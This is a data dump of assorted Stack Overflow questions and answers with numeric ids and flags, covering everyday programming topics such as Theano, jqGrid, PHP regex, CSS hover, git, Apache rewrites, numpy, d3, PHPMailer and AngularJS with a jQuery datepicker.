31966126	1	what is the difference between x.type and type(x) in Python? <p>Consider the following lines </p> <pre><code>import theano.tensor as T x = T.dscalar('x') y = T.dscalar('y') z = x+y </code></pre> <p>And then,</p> <pre><code>In [15]: type(x) Out[15]: theano.tensor.var.TensorVariable </code></pre> <p>while,</p> <pre><code>In [16]: x.type Out[16]: TensorType(float64, scalar) </code></pre> <p>Why type(x) and x.type give two different pieces of information ? What information is conveyed by them ?</p> <p>I also see that referring to <a href="http://deeplearning.net/software/theano/tutorial/adding.html" rel="nofollow">Theano tutorial</a> ,</p> <pre><code>&gt;&gt;&gt; type(x) &lt;class 'theano.tensor.basic.TensorVariable'&gt; &gt;&gt;&gt; x.type TensorType(float64, scalar) </code></pre> <p>Why type(x) output is different in my case ? Are these caused by version specific implementation differences and what is signified by this difference ?</p>
11936550	0	 <blockquote> <p>Can i now go and change the position of the characters in the string?</p> </blockquote> <p>No. Strings in .NET are immutable – they cannot be changed. In order to modify a string in VB, you call a function which creates a <em>new</em> string based off the modified contents of the old string. That’s what all the <a href="http://msdn.microsoft.com/en-us/library/system.string_methods.aspx" rel="nofollow">string methods</a> are doing.</p> <p>It’s not entirely clear what your encryption function is supposed to do though. It seems to permute the letter positions, but what schema does it use for that?</p>
5969274	0	 <p>For others who are in the same requirement, you may consider my columnchooser implementation. My Dialog Form Declaration. (Dialog box which will be shown when columnchooser button is clicked.</p> All required fields will not be allowed to remove.</p> <p>Creating the ColumnChooser Button for my Grid.</p> <pre><code>jq("#grid").jqGrid('navButtonAdd','#pager',{ caption: "Columns", title: "Customize Columns", onClickButton : function (){ /*jq("#grid").jqGrid('columnChooser',{ height:columnChooserHt });*/ createDialogDiv(); jq( "#dialog-form" ).dialog('open'); } }); </code></pre> <p>Adding Save(OK) and Cancel Buttons to my Div.</p> <pre><code>jq(function(){ jq( "#dialog-form" ).dialog({ autoOpen: false, height: 300, width: 350, modal: true, buttons: { "OK": function() { changeColView(); jq( "#dialog-form" ).dialog('close'); }, Cancel: function() { jq( "#dialog-form" ).dialog('close'); } }, close: function() { } }); }); </code></pre> <p>Function which inserts the column names with the select boxes which needed to be displayed on the ColumnChooser Dialog Box.</p> <pre><code>function createDialogDiv(){ var colModelDiv = jq("#grid").jqGrid('getGridParam','colModel'); var colNamesDiv = jq("#grid").jqGrid('getGridParam','colNames'); //alert(JSON.stringify(colModelDiv)); //alert(JSON.stringify(colNameDiv)); var container = document.getElementById('dialog-form'); //alert(colNamesDiv.length); var chckBox=""; for(i=0;i&lt;colNamesDiv.length;i++){ if(colModelDiv[i].hidden &amp;&amp; colModelDiv[i].hidden == true ){ chckBox+="&lt;input type='checkbox' id='"+colNamesDiv[i]+"' name='"+colNamesDiv[i]+"' value='"+colModelDiv[i].name+"'&gt;"+colNamesDiv[i]+"&lt;/input&gt;&lt;br/&gt;"; }else{ if(colModelDiv[i].editrules &amp;&amp; colModelDiv[i].editrules.required){ chckBox+="&lt;input type='checkbox' id='"+colNamesDiv[i]+"' name='"+colNamesDiv[i]+"' value='"+colModelDiv[i].name+"' disabled&gt;"+colNamesDiv[i]+"&lt;/input&gt;&lt;br/&gt;"; } else chckBox+="&lt;input type='checkbox' id='"+colNamesDiv[i]+"' name='"+colNamesDiv[i]+"' value='"+colModelDiv[i].name+"' checked&gt;"+colNamesDiv[i]+"&lt;/input&gt;&lt;br/&gt;"; } } container.innerHTML=chckBox; } </code></pre> <p>Finally the actual method which changes the Columns chosen from Columnchooser.</p> <pre><code>function changeColView(){ var colModelDiv = jq("#grid").jqGrid('getGridParam','colModel'); var colNamesDiv = jq("#grid").jqGrid('getGridParam','colNames'); for(i=0;i&lt;colNamesDiv.length;i++){ var chckBox=document.getElementById(colNamesDiv[i]); if(chckBox &amp;&amp; chckBox.value &amp;&amp; (!(chckBox.checked || chckBox.disabled))){ jq("#grid").jqGrid('hideCol',chckBox.value); } if(chckBox &amp;&amp; chckBox.checked){ jq("#grid").jqGrid('showCol',chckBox.value); } } jq("#grid").trigger('reloadGrid'); } </code></pre> <p>Plz let me know your thoughts on this one.</p>
22239624	0	PHP Twitterify function regex doesn't exclude starting numbers <p>I'm using the code</p> <pre><code>function twitterify($ret) { $ret = preg_replace("#(^|[\n ])([\w]+?://[\w]+[^ \"\n\r\t&lt; ]*)#", "\\1&lt;a href=\"\\2\" target=\"_blank\"&gt;\\2&lt;/a&gt;", $ret); $ret = preg_replace("#(^|[\n ])((www|ftp)\.[^ \"\t\n\r&lt; ]*)#", "\\1&lt;a href=\"http://\\2\" target=\"_blank\"&gt;\\2&lt;/a&gt;", $ret); $ret = preg_replace("/@(\w+)/", "&lt;a href=\"http://www.twitter.com/\\1\" target=\"_blank\"&gt;@\\1&lt;/a&gt;", $ret); $ret = preg_replace("/#(\w+)/", "&lt;a href=\"http://twitter.com/search?q=\\1\" target=\"_blank\"&gt;#\\1&lt;/a&gt;", $ret); return $ret; } </code></pre> <p>to parse text from Tweets and add links. If #1 appears in the Tweet text then a hashtag link will be created for it. That's incorrect since hashtags can't start with numbers.</p> <p>How can the regular expressions be modified to correct this?</p> <p>Also special characters should be excluded according to <a href="http://www.hashtags.org/platforms/twitter/what-characters-can-a-hashtag-include/" rel="nofollow">this</a>.</p>
23273433	0	javascript/jquery ignore or override :hover style <p><strong>Short Description:</strong> I want to use JS/JQuery to take precedence over the CSS :hover psuedo-class for specific brief moments without removing the CSS rule for the other <em>majority</em> of cases. Since the site is already script-heavy enough I'm trying to find a solution that doesn't require me to nuke the CSS interaction and rely on mouseover/mouseout events. In my case there's a marked performance difference between the two.</p> <p><strong>Details:</strong> I've created a CSS-based dropdown shopping cart viewer. I rigged up some JQuery to force the cart open when the user triggers certain page interactions like adding an item to the cart. When the cart is "programmatically opened" an 8 second timer is used to close it. All that works. <strong>The Problem:</strong> I also want to add a click handler to the cart so that when the user clicks on it it will be explicitly closed whether the 8second timeout has expired or not. However, when they click on the cart they are - by definition - hovering over it, kicking in the :hover state and keeping it from closing. Is there a way to temporarily disable the :hover rule and then once the cart has closed reinstate it.</p> <p><strong>HTML:</strong></p> <pre><code>&lt;span class="minicart-wrapper"&gt; &lt;a class="minicart-anchor" href="..."&gt;Shopping Cart&lt;/a&gt; &lt;div id="minicart"&gt; ... &lt;/div&gt; &lt;/span&gt; </code></pre> <p><strong>CSS:</strong></p> <pre><code>.minicart-wrapper #minicart { display: none; } .minicart-wrapper:hover #minicart, .minicart-wrapper #minicart.open { display: block; } </code></pre> <p><strong>JQuery:</strong></p> <pre><code>function openMinicart() { var minicart = jQuery('#minicart'); minicart.addClass('open'); minicart.bind('click', {}, closeMinicart); window.setTimeout(closeMinicart, 8000); } function closeMinicart() { var minicart = jQuery('#minicart'); minicart.removeClass('open'); minicart.unbind('click', closeMinicart); } </code></pre> <p><strike><strong>I've tried:</strong> a few suggestions I found here like changing <code>.minicart-wrapper:hover #minicart</code> to <code>.minicart-wrapper:hover #minicart.canhover</code>. I then added <code>removeClass(canhover)</code> to the beginning of closeMinicart() and <code>setTimeout(function(){jQuery('#minicart').addClass('canhover')},500);</code> to the end of it. However it seems that this is too short a timeout for the browser to refresh it's hover-state and before it's done rendering the hover re-triggers and the cart stays put.</strike></p> <p>Thanks for any suggestions.</p> <p><strong>Edit:</strong> Thanks Jedison. Here's the JSFiddle: <a href="http://jsfiddle.net/WJS3h/" rel="nofollow">http://jsfiddle.net/WJS3h/</a> . Also fixed some bugs in the sample.</p> <p><strong>Edit 2:</strong> Turns out I had a code error (oops) and the can-not-hover class method is the way to go. Thanks to everyone who commented.</p>
20623296	0	 <p>The issue is that the images change the height of the div. You can keep them from doing that by floating them. Also, if you want them to always fit within the container, you'll need to adjust the width of the images. So, something like this might work:</p> <pre><code>#cool img { float:left; width:25%; height: auto; } </code></pre> <p>In the interest of creating semantic HTML, you may want to change your markup to something more like the following:</p> <pre><code>&lt;nav&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="/my/cool/image.png" alt="Menu item 1"/&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="/my/cool/image.png" alt="Menu item 2"/&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="/my/cool/image.png" alt="Menu item 3"/&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; </code></pre>
37824729	1	How to use random.randint to find random 0 and 1 with not equal propbability <p>I am using <a href="https://pypi.python.org/pypi/deap" rel="nofollow">DEAP</a> toolbox in Python for Genetic Algorithm. </p> <p><code>toolbox.register("attr_bool", random.randint, 0, 1)</code> is a function randomly chooses 0 and 1 for populations in GA. I want to force GA to choose 0 and 1 randomly but with for example 80% one and the rest zero. </p> <p>I think <code>srng.binomial(X.shape, p=retain_prob)</code> is a choice, but I want to use <code>random.randint</code> function. Wondering how we can do that? </p>
26960261	0	same method signature in interface and class <pre><code>interface TestInterface { void work(); } class TestClass { public void work(){ System.out.println("Work in CLASS"); } } public class Driver extends TestClass implements TestInterface { public static void main(String[] args) { new TestClass().work(); } } </code></pre> <p>Can any one explain to me, why just because the same work method signature exists in TestClass this class compiles fine?</p>
8074650	0	 <pre><code>$('#show_existing_suggestions').live('click',function(){}); </code></pre> <p><a href="http://api.jquery.com/live/" rel="nofollow">http://api.jquery.com/live/</a></p>
7609129	0	Custom RouteMap <p>Hi I have to route an old path, that was containing the old webform, to my new controller.</p> <p>I tried this:</p> <pre><code> routes.MapRoute( "DownloadLink", "products/pippo/download/{*catchall}", new { controller = "Downloads", action = "Index"} ); </code></pre> <p>To have my controller called with <a href="http://mysite.com/products/pippo/download/" rel="nofollow">http://mysite.com/products/pippo/download/</a> but what I receive it's a 404 Status Code, what am I doing wrong?</p> <p>Thanks in advance</p>
15355246	0	 <p>I would recommend you to use android <a href="http://developer.android.com/reference/android/app/DownloadManager.html" rel="nofollow">DownloadManager package</a>, which takes care of all issues related to huge files download. <br></p> <p>Copied from the Android document site: <br><br> <code>The download manager is a system service that handles long-running HTTP downloads. Clients may request that a URI be downloaded to a particular destination file. The download manager will conduct the download in the background, taking care of HTTP interactions and retrying downloads after failures or across connectivity changes and system reboots.</code> <br><br> A very good example of using <code>DownloadManager</code> is provided <a href="http://www.mysamplecode.com/2012/09/android-downloadmanager-example.html" rel="nofollow">here</a>.</p> <p>Hope this helps !!</p>
23604821	0	 <p>If you simply want to squash all commits into a single, initial commit, just reset the repository and amend the first commit:</p> <pre><code>git reset hash-of-first-commit git add -A git commit --amend </code></pre> <p>Git reset will leave the working tree intact, so everything is still there. So just add the files using git add commands, and amend the first commit with these changes. Compared to rebase -i you'll lose the ability to merge the git comments though.</p>
27137862	0	DIV is not displaying in IE8 onwards due to CSS class <p>When I create a div like below, it is displaying in IE7, but not displaying on IE8 and later versions. When I view source code, I can see this div in all IE versions, but not displaying in IE8 and plus.</p> <p>My Aspx code:</p> <pre><code>&lt;div runat="server" id="divLoginImage" class="loginImage"&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>.loginImage { position: absolute; left: -500px; top: 10px; } </code></pre> <p>Please note that if I remove class attribute as show below, this is working fine.</p> <pre><code>&lt;div runat="server" id="divLoginImage" &gt; &lt;/div&gt; </code></pre> <p>What is wrong with my CSS?</p>
19100513	0	Checking pointer to pointer is not null <p>*A few things to be noted in the code: cfield<b>p</b> is a pointer and cfield<b>pp</b> is a pointer to pointer.</p> <p>I want to know the uses of the new macro (see the code below). We are passing the address of <code>cfieldp</code>,<code>(&amp;cfieldp)</code> instead of <code>cfieldp</code> and comparing it to null. What is its use? Does it stop a memory leak?</p> <pre><code>// Custom data type: typedef struct custom_field { int test; } custom_field_t; // Old macro: #define CUSTOM_CLEAN(cfieldp) \ { \ ..... // Calls free() to free memory \ } // New macro: #define CUSTOM_CLEAN_NEW(cfieldpp) \ { \ if ((cfieldpp)) { \ CUSTOM_CLEAN(*(cfieldpp)) \ } \ } // Code: custom_field_t *cfieldp = NULL; ......// *cfieldp may or may not be null ...... CUSTOM_CLEAN(cfieldp); // Old macro //CUSTOM_CLEAN or CUSTOM_CLEAN_NEW will be executed, not both. CUSTOM_CLEAN_NEW(&amp;cfieldp); // New macro, replacement of CUSTOM_CLEAN </code></pre>
38876686	0	 <p>If you want to avoid forwarding landing page then use:</p> <pre><code>RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !\.(gif|jpg|png|swf|css|html|js|ico|pdf)$ RewriteCond %{REQUEST_URI} !^/app\.php(/.*)?$ [NC] RewriteRule ^(.+)$ app.php/$1 [L] </code></pre> <p><code>.+</code> will match anything but not the landing page.</p> <p>In case you want to exclude all the top level domain URLS then use:</p> <pre><code>RewriteCond %{HTTP_HOST} !^(www\.)?example\.com$ [NC] RewriteCond %{REQUEST_URI} !\.(gif|jpg|png|swf|css|html|js|ico|pdf)$ RewriteCond %{REQUEST_URI} !^/app\.php(/.*)?$ [NC] RewriteRule ^(.*)$ app.php/$1 [L] </code></pre>
34204307	0	 <p>Just use the built-in <code>isName</code> method:</p> <pre><code>public static boolean isName(CharSequence name) </code></pre> <p>This returns whether or not a name is a syntactically valid qualified name in the latest source version.</p> <p>See the <a href="http://docs.oracle.com/javase/8/docs/api/javax/lang/model/SourceVersion.html#isName-java.lang.CharSequence-" rel="nofollow">isName()</a> documentation.</p>
7670123	0	insert element in every position of nested list <p>In Maple 15, I have a nested list like this one (only 2 levels of nesting):</p> <pre><code>[[a,b],[c],[d,e,f]] </code></pre> <p>I want to create 6 lists from that one (the number of elements..), like these:</p> <pre><code>[[x,a,b],[c],[d,e,f]] [[a,x,b],[c],[d,e,f]] [[a,b],[x,c],[d,e,f]] [[a,b],[c],[x,d,e,f]] [[a,b],[c],[d,x,e,f]] [[a,b],[c],[d,e,x,f]] </code></pre> <p>I tried but I have super complex loops and it doesn't work.. any more brilliant idea?</p>
33903608	0	 <h2><a href="http://jsfiddle.net/adriancarriger/t8Lyarmc/10/" rel="nofollow">Working Fiddle</a></h2> <p>It looks like you're not selecting the current slide's image. I found the current slide by looping through the slides and checking their opacity.</p> <h2>Remove this</h2> <pre><code>var sr = $(this).attr('src'); </code></pre> <h2>Replace with this</h2> <pre><code>var sr; $(this).closest('.slides').find('.slide-container').each(function(index) { if ($(this).find('.slide').css("opacity") === 1) { sr = $(this).find('img').attr('src'); } }); </code></pre>
24610631	0	 <p>This is what the <a href="http://msdn.microsoft.com/en-us/library/vstudio/ms227424.aspx" rel="nofollow"><code>ValidationGroup</code></a> property is for. Suppose you have the following controls:</p> <pre><code>&lt;asp:RequiredFieldValidator ID="rfv1" runat="server" ValidationGroup="Group1" /&gt; &lt;asp:RequiredFieldValidator ID="rfv2" runat="server" ValidationGroup="Group1" /&gt; &lt;asp:RequiredFieldValidator ID="rfv3" runat="server" ValidationGroup="Group2" /&gt; &lt;asp:Button ID="btn1" runat="server" ValidationGroup="Group1" Text="Button 1" /&gt; &lt;asp:Button ID="btn2" runat="server" ValidationGroup="Group2" Text="Button 2" /&gt; </code></pre> <p>In the example above, <code>btn1</code> will only cause validation for the controls validated by <code>rfv1</code> and <code>rfv2</code>, whilst <code>btn2</code> will only cause validation for the control validated by <code>rfv3</code>.</p>
3000964	0	 <p>If you're a registered developer, I would suggest visiting developer.apple.com/iphone and signing in there. Otherwise, we can't really discuss it. </p>
11224332	0	I have to query a MS SQL DB using java <p>I have to query a MS SQL DB using java. I am querying DB using following code</p> <pre><code> Class.forName("net.sourceforge.jtds.jdbc.Driver"); Connection conn = DriverManager.getConnection( "jdbc:jtds:sqlserver://XXX.XX.XX&gt;XX:1433/DBNAME", "USERNAME", "Password"); querystr="select DATEDIFF(second,Finish_Time,ReqTime) As FinishDifference from DB.SCHEMA.TABLE where ID='123'"; Statement stmt=conn.createStatement(); ResultSet res=stmt.executeQuery(querystr); System.out.print(res.getRow()); </code></pre> <p>When I query DB manually using query string, I am able to successfully gets results but res.getRow() shows 0.</p>
35406936	0	 <p>I suggest you to get more information about Data modeling in Cassandra. I've read <a href="http://www.cs.wayne.edu/andrey/papers/TR-BIGDATA-05-2015-CKL.pdf" rel="nofollow">A Big Data Modeling Methodology for Apache Cassandra</a> and <a href="http://www.datastax.com/dev/blog/basic-rules-of-cassandra-data-modeling" rel="nofollow">Basic Rules of Cassandra Data Modeling</a> as useful articles in this case. They will help you understanding about modelling the tables based on your queries (Query-Driven methodology) and data duplication and its advantages/disadvantages. </p>
40020062	0	 <p>Standard method would be to use <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.linalg.eig.html" rel="nofollow">numpy.linalg.eig</a>.</p> <pre><code>from numpy import linalg as LA w, v = LA.eig(np.diag((1, 2, 3))) # w: # array([ 1., 2., 3.]) # v: # array([[ 1., 0., 0.], # [ 0., 1., 0.], # [ 0., 0., 1.]]) </code></pre> <p>Obviously, if your matrix is very specific (let's say very large and sparse), usually you want to use iterative approach (e.g. <em>Krylov subspace method</em>) to find most dominant eigenvalues. See <a href="http://docs.scipy.org/doc/scipy/reference/tutorial/arpack.html" rel="nofollow">discussion</a> for more details.</p>
5475890	0	 <p>You are using the wrong overload for the <code>.ActionLink</code>. Try this instead...</p> <pre><code>&lt;%= Html.ActionLink(item.venue, "Details", "Venues", new { name = item.venue }, new {}) %&gt; </code></pre> <p>It is currently selecting <a href="http://msdn.microsoft.com/en-us/library/dd492124.aspx"><code>string, string, object, object</code></a> overload. Your "Venues" string is being used for routing data.</p>
37241002	0	d3 force graph using node names for links <p>I've been at this for a few days now, and I've seen the questions on stackoverflow and other places, but I am missing something.</p> <p>Lets say we have the following JSON:</p> <pre><code>{ "nodes":[ {"name":"node1"}, {"name":"node2"}, {"name":"node3"}, {"name":"node4"} ], "links":[ {"source":"node1","target":"node2"}, {"source":"node1","target":"node3"}, {"source":"node1","target":"node4"} ] } </code></pre> <p>Why do the following two pieces of code yield the same output in the console, but the second gives me an error (Uncaught TypeError: Cannot read property 'push' of undefined)?</p> <pre><code>links = links.map(function(l) { var sourceNode = nodes.filter(function(n) { return n.name === l.source; })[0]; var targetNode = nodes.filter(function(n) { return n.name === l.target; })[0]; return { source: sourceNode, target: targetNode }; }); </code></pre> <p>_ </p> <pre><code>links.forEach(function(link) { link.source = {name: link.source}; link.target = {name: link.target}; }); </code></pre> <p>Console output:</p> <pre><code>[{"source":{"name":"node1"},"target":{"name":"node2"}}, {"source":{"name":"node1"},"target":{"name":"node3"}}, {"source":{"name":"node1"},"target":{"name":"node4"}}] </code></pre>
40294340	1	taking the product of the elements of tuples based on their sum <p>I would greatly appreciate any feedback regarding the following question. So far I wrote a code on Python that generates the combination of 2 dimensional tuples in which each element is a value from 1 through 4. So for (a1,a2), a1 and a2 can be any value from 1 through 4</p> <p>Thus this generated the following tuples</p> <pre><code>tuple_combinations = [(1, 1), (1, 2), (1, 3), (1, 4), (2, 1), (2, 2), (2, 3), (2, 4), (3, 1), (3, 2), (3, 3), (3, 4), (4, 1), (4, 2), (4, 3), (4, 4)] </code></pre> <p>I then took the sum of the elements for each tuple which generated:</p> <pre><code>sum_tuple_combinations = [2, 3, 4, 5, 3, 4, 5, 6, 4, 5, 6, 7, 5, 6, 7, 8] </code></pre> <p>Now I need help with computing the product of the elements for tuples whose sum are 5. So for this example that would be the product of tuples (2,3), (3,2) , (1,4) and (4,1) which would give me </p> <pre><code> [6,6,4,4] </code></pre> <p>How would I code that on Python? </p> <p>this is what I've done so far:</p> <pre><code> import itertools x = [1,2,3,4] combinations= [p for p in itertools.product(x, repeat=2)] print(combinations) sum_of_combinations = map(sum, combinations) print(sum_of_combinations) #product_of_combinations = [x*y for sum_of_combinations = 5] </code></pre> <p>Moreover, although this solves the 2 dimensional case, where n=2 ,I would like to consider the product of the elements in the tuple for other dimensions such as n=200 and so on. Thus, especially for dimensions such as N=200 I was wondering if there was a computationally inexpensive way to accomplish this?</p>
27174953	0	 <p>Because that's the easiest way to distribute everything while keeping it up to date. By offloading build costs to the users, library authors only need to provide source code.</p> <p>This can be mitigated in various ways. For example, <a href="https://github.com/bananu7/potato-empires" rel="nofollow">my CI setup</a> uses CircleCI and Heroku. Nodes on both hold precached cabal sandboxes (it's actually very easy to set up). I build my project on Heroku, but there's no reason why you couldn't take prebuilt artifacts from your CI and deploy them directly.</p> <p>As for dynamic linking, there's a possibility to link Haskell modules dynamically, but shared libraries more often than not are a source of problems. One look at Windows DLL hell should be enough to see this, and most commercial applications simply ship DLLs they use anyway. If a library changes, the DLLs have to be replaced anyway, and the way Cabal does it makes it simplest to have latest and greatest versions of everything.</p>
20732532	0	Why does AngularJS swallow event and cause jQueryUI calendar (of datepicker) to not display? <p>I have a problem where jQuery datepicker fails to display the calendar, because something swallows the event. It seems like it might be AngularJS causing the problem. You can see it at: <a href="http://jsfiddle.net/daylight/GAyY3/" rel="nofollow">jsfiddle.net example</a></p> <p>In the jsfiddle example, I've created one datepicker at the bottom of the page which appears all the time and isn't initialized until you click the <strong>[Init DatePicker]</strong> button.</p> <p>Here's the init() method where I initialize the jQuery Datepicker as detailed in jquery docs.</p> <pre><code>function init(selId) { if (console.log !== undefined) { console.log("init()..."); } $(function() { $( ".datepicker" ).datepicker({ changeMonth: true, changeYear: true }); }); if (selId !== undefined) { $(".datepickFix").on("click","#" + selId, function (){ $(".datepicker").datepicker( "show" ); }); } else { $(".datepickFix").on("click",".datepickFix", function (){ $(".datepicker").datepicker( "show" ); }); } } </code></pre> <p><strong>Try This</strong></p> <p>Go ahead and click the "edit" box or [click me] text and you'll see that it doesn't display the jQuery Datepicker. </p> <p><strong>Works As Expected</strong></p> <p>Now, click the [Init DatePicker] button and again, attempt to click the "edit" box and you'll see the calendar display as you expect. If you click the [click me] text it will also display. Everything works as expected.</p> <p><strong>ng-repeat - addrow() calls init()</strong> However, now click an the [Add Row] button and notice that I am doing an ng-repeat in AngularJS to add rows to a table. The row contains another "datepicker" and the Init() code is called upon adding the row.</p> <p>I also call init() from the onclick of the div just to make it fire.</p> <p><strong>The Datepicker Still Doesn't Display</strong></p> <p>However, notice that even though the init() is called -- confirmed by console.log -- you will see that clicking on the "edit" box (jquery datepicker) in the new row <strong>does not display the datepicker</strong>.</p> <p>Now, if you click the [click me] text in the row or you click the [Init DatePicker] the calendar will now show.</p> <p><strong>Clicking [Add Row] button twice makes the first-added row work, not the other</strong> Also, if you click the <strong>[Add row]</strong> button twice, the calendar will show upon initially clicking the first-added row.</p> <p>However, if I call init() multiple times that doesn't work either. Can anyone shed some light on this issue?</p>
18099535	0	 <pre><code>[WebMethod(Description = "Returns a Fruit XML")] public XmlElement GetALLFruits() { Fruit fruit = new Fruit(); fruit.Name = "Mango La Ka Buma"; fruit.expiryDate = "11/11/1911"; fruit = getFruitCrateDetails(fruit);//This is call to method 1. Don't worry your values will not be lost fruit.Name will remain as it is. return fruit.xml; //just giving example syntax might be wrong } public Fruit getFruitCrateDetails(Fruit fruit) { FruitCrate crate = new FruitCrate(); crate.id = 999; fruit.crate.Add(crate);//Now no other method should set crateValues return fruit; } public Fruit getFruitCrateDetails1(Fruit fruit) { SomeNewProperty = "test"; fruit.PropertyName = SomeNewProperty;//Now no other method should set value for SomeNewProperty return fruit; } </code></pre> <p>Please read the comments. And i have not tested the code. So there are possibilities that you may not get the desired output. I have tried my best to explain you.</p>
11086185	0	 <p><strong>Short fix:</strong></p> <p>In the <code>onTabSelected</code> method, before using <code>if (mFragment == null)</code> you need to try to get the fragment (using <code>mFragment = getSupportFragmentManager().findFragmentByTag(mTag)</code>). You can also set this from the outside but I don't see you doing this.</p> <p>Checking <code>if(savedInstanceState == null)</code> on <code>onCreate</code> could also solve this and I consider it a better approach though! :)</p>
29214145	0	Sql server display string in when statement <p>I have the following query</p> <pre><code>select (case when object like'%service%' then (object) when class like '%service%' then (class)end) From db group by (case when object like '%service%' then object when object_class like '%service%' then object_class end) </code></pre> <p>this query check if value of each column contains 'service' than display the data, i need instead of data only display, data and string<br/> Some thing like <code>when object like'%service%' then (object),'string'</code></p> <p>String will be a variable which is stored in unknown column at results </p> <ol> <li>column1 column2</li> <li>objet1 mystring</li> <li>objet2 mystring</li> <li>objet3 mystring</li> </ol>
13342209	0	 <p>string myTime = DateTime.Now.ToString("dddd", new System.Globalization.CultureInfo("it-IT"));</p> <p>the example use italian culture code, for a list of available culture codes check out <a href="http://sharpertutorials.com/list-of-culture-codes/" rel="nofollow">this</a></p>
2730117	0	C++ - Efficient container for large amounts of searchable data? <p>I am implementing a text-based version of Scrabble for a College project.</p> <p>My dictionary is quite large, weighing in at around 400.000 words (<code>std::string</code>).</p> <p>Searching for a valid word will suck, big time, in terms of efficiency if I go for a <code>vector&lt;string&gt;</code> ( O(n) ). Are there any good alternatives? Keep in mind, I'm enrolled in freshman year. Nothing TOO complex!</p> <p>Thanks for your time!</p> <p>Francisco</p>
33282185	0	 <p>The first thing to point out is that there is nothing like racing condition. The right terminology is just <strong>race condition</strong>. Keep this in mind for the future ;-)</p> <p>I suppose you are using a BroadcastReceiver to receive messages and that you have created the object and tell it to run in a separate thread because of the animation. This means that your showFab method can be called twice in one time. To handle this, define the method as <a href="https://docs.oracle.com/javase/tutorial/essential/concurrency/syncmeth.html" rel="nofollow">synchronized</a>.</p>
12804934	0	 <p>from the <a href="http://docs.python.org/tutorial/datastructures.html#dictionaries" rel="nofollow">docs</a>:'</p> <blockquote> <p>It is best to think of a dictionary as an unordered set of key: value pairs, with the requirement that the keys are unique (within one dictionary)</p> </blockquote>
35365216	0	 <p>This should work for you.</p> <pre><code>require '/PHPMailer-master/PHPMailerAutoload.php'; require '/PHPMailer-master/class.phpmailer.php'; $mail = new PHPMailer(true); if(isset($_POST['submit'])){ $to = "me@mymail.com"; $from = $_POST['text_96']; $fullname = $_POST['text_95']; $email = $_POST['text_96']; $dob = $_POST['date_12']; $addr = $_POST['textarea_31']; $maths = $_POST['text_93']; $english = $_POST['text_31']; $holidayst = $_POST['date_74']; $holidayend = $_POST['date_91']; $distance = $_POST['number_58']; $awayhome = $_POST['selectlist_90']; foreach($_POST['checkbox'] as $key=&gt;$val){$apprent .= $val.' ';} //$fileatt = $_POST['file']; $reasontext = $_POST['textarea_60']; $message = "Message"; $mail-&gt;setFrom($from, $fullname); $mail-&gt;addAddress('me@mymail.com'); $mail-&gt;addAttachment($_FILES['file']['name']); if (isset($_FILES['file']) &amp;&amp; $_FILES['file']['error'] == UPLOAD_ERR_OK) { $mail-&gt;AddAttachment($_FILES['file']['tmp_name'], $_FILES['file']['name']); } $mail-&gt;Subject = 'subject'; $mail-&gt;Body = $message; try{ $mail-&gt;send()) { header('Location: success.html'); }catch(Exception $e) { header('Location: error.html'); } finally{ $message = NULL; $headers = NULL; } } </code></pre>
6797243	0	 <p>You should use a webhook, not the email service.</p> <p><a href="http://help.github.com/post-receive-hooks/" rel="nofollow">http://help.github.com/post-receive-hooks/</a></p>
2375126	0	How to programmatically click an element with MooTools? <p>In jQuery, I've done stuff like this in the past:</p> <pre><code>$('#someCheckbox').click(); </code></pre> <p>And everything works as if the user just clicked on the element normally. However the same doesn't work in MooTools:</p> <pre><code>$('someCheckbox').fireEvent('click'); </code></pre> <p>The checkbox doesn't get checked, nor do any of the bound event handlers fire.</p> <p>Is there a way to do this? I need the already bound "click" event handlers to fire, so just setting it's "checked" attribute isn't an option.</p> <p>Thanks</p>
23757900	0	 <p>How about something like this:</p> <pre><code>create table #tempTab(Num int,rtype char(1),amount decimal(8,2)); insert into #tempTab values (110200014,'A',19259.00), (110200014,'D',-802.46), (110200014,'D',-1604.92) select * from #tempTab t cross apply (select amount from #tempTab where rtype = 'A' and Num = t.Num) pa; </code></pre>
6289011	0	 <p>Keys inside <code>appSettings</code> are retrieved as <code>NameValueCollection</code> which by definition</p> <blockquote> <p>Represents a collection of associated String keys and String values that can be accessed either with the key or with the index.</p> </blockquote> <p>So you can have only the data type <code>string</code> as <code>value</code> for an AppSettings <code>key</code></p> <p>And yes, <code>AppSettings</code> is the only place where you can store your settings.<br> MSDN defines AppSettings like this.</p> <blockquote> <p>Contains custom application settings, such as file paths, XML Web service URLs, or any information that is stored in the.ini file for an application.</p> </blockquote>
6755697	0	 <pre><code>$result = mysql_query("SELECT * FROM stores where StoreID=$id order by city"); if (!$result) { die('Invalid query: ' . mysql_error()); }else{ while($row = mysql_fetch_assoc($result)){ echo $row['city']." : ".$row['street']."&lt;br /&gt;"; } } </code></pre> <p>while() is fetching results step by step, so it will give it your result</p>
21499729	0	jQuery multiple else if statements <p>I am trying to set a padding on a div based on the window height size. I simply couldn't find a better working way to center my content div vertically in another div with unknown dimensions. My code is as it follows:</p> <pre><code>&lt;script&gt; $(document).ready(function(){ var window_height = $(window).height(); var home_content = $('#home-content'); if(window_height &lt;= 600) { home_content.css({"padding-top", "13px"}); } else if(window_height &gt; 600 &amp;&amp; window_height &lt;= 768) { home_content.css({"padding-top", "97px"}); } else if(window_height &gt; 768 &amp;&amp; window_height &lt;= 800) { home_content.css({"padding-top", "113px"}); } else if(window_height &gt; 800 &amp;&amp; window_height &lt;= 900) { home_content.css({"padding-top", "163px"}); } else if(window_height &gt; 900 &amp;&amp; window_height &lt;= 1050) { home_content.css({"padding-top", "238px"}); } else if(window_height &gt; 1050 &amp;&amp; window_height &lt;= 1080) { home_content.css({"padding-top", "253px"}); } else if(window_height &gt; 1080 &amp;&amp; window_height &lt;= 1200) { home_content.css({"padding-top", "313px"}); } else { } }); &lt;/script&gt; </code></pre> <p>It is not working. My web site is stuck on the preloader and simply won't load anyhing. Any ideas where am I doing it wrong?</p>
21928405	0	 <p>the base Docker containers don't start services like cron - they only start what you specify in the ENTRYPOINT/CMD</p> <p>some 'fatter' containers use things like supervisord to start services - but where possible, its more maintainable to separate services into different containers and share data using with volume containers, or --link</p>
